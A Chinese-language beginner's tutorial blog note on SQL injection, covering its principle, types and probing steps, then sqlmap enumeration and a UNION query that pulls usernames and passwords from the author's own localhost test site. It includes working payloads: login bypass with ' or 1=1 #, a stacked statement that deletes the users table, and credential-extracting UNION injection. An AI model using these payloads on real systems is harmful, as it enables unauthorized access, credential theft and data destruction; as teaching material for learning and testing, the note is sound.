Sql注入 入门笔记

什么是sql注入

原理

​ sql注入的原理是将sql代码伪装到输入参数中,传递到服务器解析并执行的一种攻击手法。也就是说,在一些对server端发起的请求参数中植入一些sql代码,server端在执行sql操作时,会拼接对应参数,同时也将一些sql注入攻击的“sql”拼接起来,导致会执行一些预期之外的操作。

示例:

​ 比如我们使用的登录接口:在登录界面包括用户名和密码输入框,以及提交按钮,输入用户名和密码,提交。

​ 登录时调用接口/user/login/ 加上参数username、password,首先连接数据库,然后后台对请求参数中携带的用户名、密码进行参数校验,即sql的查询过程。假设正确的用户名和密码为ls和123456,输入正确的用户名和密码、提交,相当于调用了以下的SQL语句。

1
SELECT * FROM user WHERE username = 'ls' AND password = '123456'

​ sql中会将#及–以后的字符串当做注释处理,如果我们使用“’ or 1=1 #” 作为用户名参数,那么服务端构建的sql语句就如下:

1
select * from users where username='' or 1=1#' and password='123456'

​ 而#会忽略后面的语句,因此上面的sql也等价于:

1
select * from users where username='' or 1=1

​ 而1=1属于常等型条件,因此这个sql便成为了如下,查询出所有的登陆用户。

1
select * from users

​ 其实上面的sql注入只是在参数层面做了些手脚,如果是引入了一些功能性的sql那就更危险了,比如上面的登陆接口,如果用户名使用这个“’ or 1=1;delete * from users; #”,那么在";"之后相当于是另外一条新的sql,这个sql是删除全表,是非常危险的操作,因此sql注入这种还是需要特别注意的。

分类

常见的sql注入按照参数类型可分为两种:数字型和字符型。

当发生注入点的参数为整数时,比如 ID,num,page等,这种形式的就属于数字型注入漏洞。同样,当注入点是字符串时,则称为字符型注入,字符型注入需要引号来闭合。

也可以根据数据库返回的结果,分为回显注入、报错注入、盲注。

  • 回显注入:可以直接在存在注入点的当前页面中获取返回结果。

  • 报错注入(布尔型注入):程序将数据库的返回错误信息直接显示在页面中,虽然没有返回数据库的查询结果,但是可以构造一些报错语句从错误信息中获取想要的结果。

  • 盲注:程序后端屏蔽了数据库的错误信息,没有直接显示结果也没有报错信息,只能通过数据库的逻辑和延时函数来判断注入的结果。根据表现形式的不同,盲注又分为based boolean和based time两种类型。

按照注入位置及方式不同分为:post注入,get注入,cookie注入,盲注,延时注入,搜索注入,base64注入,无论此种分类如何多,都可以归纳为以上两种形式。

注入测试

数字型:

猜测SQL语句:

select 字段名 from 表名 where id = 1;

1
2
3
4
http://www.sql.com/xxx.php?id=1              假设ID为存在注入的参数
http://www.sql.com/xxx.php?id=1‘ 语句报错
http://www.sql.com/xxx.php?id=1 and 1=1 页面正常返回结果
http://www.sql.com/xxx.php?id=1 and 1=2 页面返回错误

如果以上几个测试步骤结果全部满足,就可能存在sql注入漏洞。

数字型注入一般出现在asp php等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=1,PHP会自动把ID的数据类型推导为int类型,若是 id=1 and 1=1,则把ID推导为string类型。但是对于Java、c#这类强类型语言,如果把一个字符串转换为int类型,则会抛出异常,无法运行,所以数字型注入一般出现在弱类型的语言当中,强类型语言很少存在。

字符型:

猜测SQL语句:

select 字段名 from 表名 where id =‘;

1
2
3
4
http://www.sql.com/xxx.php?id=1                      假设ID为存在注入的参数
http://www.sql.com/xxx.php?id=1‘ 语句报错
http://www.sql.com/xxx.php?id=1' and 1=1 and '1'='1 页面正常返回结果
http://www.sql.com/xxx.php?id=1' and 1=2 and '1'='1 页面返回错误

搜索型:

猜测SQL语句:

select 字段 from 表名 where username like ‘%k%’;

1
2
3
4
http://www.sql.com/xxx.php?search=test                  假设search为存在注入的参数
http://www.sql.com/xxx.php?search=test' 语句报错
http://www.sql.com/xxx.php?search=test%' and 1=1 and '%'=' 页面正常返回结果
http://www.sql.com/xxx.php?search=test%' and 1=2 and '%'=' 页面返回错误

sqlmap

如果我们认为一个输入框可能会有sql注入的情况,我们可以使用sqlmap来帮助我们去进行扫描。

比如我在本地搭建了一个网站,可以搜索站内的文章,它能够根据我输入不同的key去给我一个真或者假的判断,那这里可能就会存在布尔型注入。

image-20200620082754120

这个时候我们可以通过控制台找到这个搜索的请求:

image-20200620081912352

找到了这个请求之后,我们就可以利用sqlmap去检查我们的这个请求是否有sql注入问题。

我们可以通过在控制台输入

1
sqlmap.py -u http://localhost:8080/article/search?key=123 -dbs

去尝试获取后台的数据库的table,如果获取成功会显示以下效果:

image-20200620082552344

可以看出这里确实有sql注入问题,我们已经成功获取到了后台的数据库名。

获得了数据库名称之后我们可以进一步获取其中的表名:

1
py -3 sqlmap.py -u http://localhost:8080/article/search?key=123 -D insecurity --tables

通过这个命令,我们可以获取insecurity这个数据库中有什么表

image-20200620084424782

我们可以看到整个db中有三个表,分别是user,atricle和flyway_schema_history

进一步我们可以获取表中的列名:

1
py -3 sqlmap.py -u http://localhost:8080/article/search?key=123 -D insecurity -T insecurity --columns

image-20200620085249277

它会详细列出每一列的名字和类型,最终我们可以得知以下结果。

image-20200620085054277

得到这个表结构有什么用呢?

我们可以利用union语句把任何我想知道的信息union到atricle的返回结果中,比如我在搜索栏中输入:

1
' union select uid, uid, '123', username, password, '123', create_time, update_time, del  from user;%23'

username和password就会分别通过作者名和图片链接返回到前端

image-20200620085634320

这样我们就可以获取到admin的密码了。

甚至如果我们发现它的登录界面都有注入问题,我们都不需要密码

image-20200620090420970

只要password是这个,任何人的账号我都可以进去。

sqlmap还有很多强大的功能,建议大家去看文档,我也是刚刚接触。

参考文章:

https://juejin.im/post/5d56b641f265da03f12e565c

https://www.kanxue.com/book-6-110.htm